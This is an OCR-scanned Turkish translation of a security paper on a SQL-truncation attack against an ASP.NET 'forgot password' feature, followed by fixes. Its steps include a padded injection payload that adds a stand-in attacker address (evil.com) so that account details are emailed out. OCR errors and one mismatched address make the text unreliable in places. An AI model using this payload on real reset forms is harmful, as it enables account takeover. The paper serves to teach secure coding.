Her zaman olmasa da, bazi zamanlarda ise yarayacak bir teknik olma prensibini tasiyan bu yontem,
web uygulamalarina yonelik saldirilardan yaygin olarak kullanilan “sifremi unuttum” atagina yeni bir
bakis acisi kazandirmayi amaclamaktadir.

Bu dokiman iki bolime ayrilmistir. Birinci bolim teknigin temel esaslarindan bahsetmekte, ikinci
bolum ise ticari uygulamalara yonelik ataklari igermektedir.

“SiFREMi UNUTTUM” ATAGI

Web tabanli uygulamalarda c¢ogunlukla kullanicinin hesabinin dogrulanmasi gerekmektedir. Ayrica
kullanicinin sifresinin yenilenmesini ya da yeniden verilmesini saglayan yoéntemlerde bulunmaktadir.
Bu parcalar farkli sekillerde calismaktadir. Bunun birka¢c nedeni bulunmaktadir. Ornegin; gelistirme
stili, dil, mantik ya da isletilen sistem. Bu atagl bir ortam ya da gelistirme stili ile sinirlandirmamak
gerekir. Bu dokiiman ile asagidaki bilinen parcalara adapte olunmustur.

NOT: Bu 6rnek Sec-1 ASNA takiminin gercek bir web uygulamasina dayanmaktadir.

Sartlar

Server: Microsoft IIS 6.0
Server Side Script Turi: ASP.NET (codebehind: VB.NET)
Database: Microsoft SQL Server (Ozel Stored Prosediirler Kullaniliyor)

Sifre Hatirlatma islemi
1. Kullanici e-mail adresine giris yapar.

2. E-mail adresi SQL sorgusunda bulunan bir degiskene vyiklenir. Daha sonra bu sorgu
aracihgiyla, degiskene aktarilan e-mail adresi veritabaninda kullanicinin hesabini bulmak icgin
arama isleminde kullanilir.

3. Uygulamanin kullandigi e-mail hesabi, kullaniciya hesap bilgilerini gonderir.

SALDIRI 6NSOzU

Once saldiri islemini ayiriyoruz. Clinkii bu anahtar 6genin (izerini értmek icin dnemlidir. Anahtar 6ge
bu atagin gerceklesmesini olanakl hale getirir. Sayet VB.NET ve Microsoft SQL Server degiskenlerini
biliyorsaniz, bu kismi gegebilirsiniz.

Server Degiskenleri

Degiskenlerin boyutu ve tipi, saldirilar ve zayifliklar i¢in vurgulanacak bir anahtardir. Bu 6rnekte VB
(ASP.NET) ve Microsoft SQL Server kullaniimistir. Bunlarin her birinde degisken tanimi biraz da olsa
farkhdir. Asagidaki érnekleri inceleyelim;



ASP.NET (VB) de Degisken Tanimi

Dim UserNameAsEmail AS String

Yukaridaki degisken programci tarafindan olusturulur. Degiskenin adi UserNameAsEmail'dir ve
kullanicinin e-mail adresini tutar (bu durumda kullanici adi ve e-mail adresi bir tane ve aynidir).
Mademki bu bir Visual Basic uygulamasi programcinin  maksimum boyutu belirtmesi
gerekmemektedir (default degeri 64 kb tir). Fakat bu dnerilir.

Microsoft SQL Server'da Degisken Tanimi

Declare @UserNameAsEmail varchar(320)

Yukaridaki SQL ifadesi en fazla 320 karakter tutacak sekilde bir degisken olusturur. RFC 2821"e gére
gecerli bir e-mail adresinin uzunlugu en fazla 320 karakterdir. Varchar tipinin maksimum alabilecegi
uzunluk 8000 bytes dir.

Beyaz Bosluk

Microsoft SQL Server string degerlerindeki beyaz bosluk izlerine 6nem vermez. Asagidaki SQL
ifadesinde bu gosterilmistir.

1> declare @UserNameAsEmail varchar(320)
2> set @UserNameAsEmail = ‘garyo@sec-1.com’

3> select username, password from UserEmail where username = @UserNameAsEmail

4> go
username password
garyo@sec-1.com d32edf£%dZZA

Beyaz bosluk izleri yaparak da ayni sonucu elde ederiz.
1> declare @UserNameAsEmail varchar(320)
2> set @UserNameAsEmail = ‘garyo@sec-1.com

3> select username, password from UserEmail where username = @UserNameAsEmail

4> go
username password
garyo@sec-1.com d32edf£%dZZA

Savunmasizlik (The Vulnerability)

Buradaki zayiflik, ASP.NET degiskenleri ve Microsoft SQL Server degiskenleri birbiri ile ortlismedigi
zaman olusur. Eger ASP.NET degiskeninin uzunlugu SQL Server degiskeninin maksimum
uzunlugundan blyiik olursa, bizim génderecegimiz degeri “sifremi unuttum” islevinde etki etmek icin
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kullanilabilecektir. Bizim amacimiz, SQL Server’a e-mail adresini gecerli olarak yorumlatmak ve
herhangi bir e-mail adresi araciligi ile saldirgana bir kullanici hesabi bilgilerini gdndertmektir.

Asagidaki 6rnegi inceleyelim;
(Not: Degisken uzunluklari bu dokiiman igin orantil bir sekilde belirlenmistir.)

ADIM 1:

Saldirgan e-mail adresini girer. u@target.com kurbanin mail adresi, a@evil.com ise saldirganin mail
adresidir.
u@target.com[308 spaces];a@evil.com

Bu .NET degiskeni olan UserNameAsEmail'e yiklenecektir.
ADIM 2:

Kullanicinin e-mail adresi SQL Server degiskenine kopyalanacaktir. SQL server degiskeni en fazla
verinin 320 bytes olan kismini tutacaktir. Bu nedenle beyaz bosluklarin bittigi yere kadar olan yeri
kopyalayacaktir.

Microsoft SQL Server Degiskeni: a@target.com[White Space]

Yukarida gosterildigi sekilde SQL Server degiskeni tutacaktir ve daha sonra kullanicinin hesabinin
detaylarini getirecektir.

ADIM 3:

Kurban kullanici icin gecerli bir e-mail adresi girdigimizi varsayalim. SQL Server kullanicinin hesabini
givenli bir sekilde .NET uygulamasina getirecektir. Kullanicinin “sifremi unuttum” bélimu dizayn
edilecektir. Beyaz bosluk ASP.NET e-mail fonksiyonu tarafindan istenilen mail adresini yapmak icin
gormezlikten gelinecektir:

u@target.com;a@evil.com — Bir e-mail kullanici hesabinin detaylarini icerebilir ve hem kullaniciya

hem de saldirgana mail gider.

Savunmasizhgi Azaltmak

Bu makalede tanimlanan problem giivenli uygulamalar gelistirmek icin kolay bir ydntemdir. Ornegin
bu makaledeki savunmasizligi ufak bir kod degisikligi ile ortadan kaldiryoruz.

Input (Girdi) Dogrulugu: ilk adim olarak sadece temiz karakterlere izin verilip, gecerli bir e-mail
adresinin girilip girilmedigi kontrol edilmeli ve herhangi bir ihlalin filtrelenmesi diger analiz igin
kilitlenmelidir.

Guvenli Degisken Olusturmak: .NET ve Microsoft SQL Server degiskenlerinin maksimum uzunlugunun
ayni oldugundan emin olun. Yukaridaki érnekte savunmasizligl azaltmak igin degiskenlerin asagidaki
sekilde tanimlanmasi gerekmektedir.

Dim UserNameAsEmail AS String * 320
Declare @UserNameAsEmail varchar(320)
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Kaynak: http://www.milwOrm.com/papers/167
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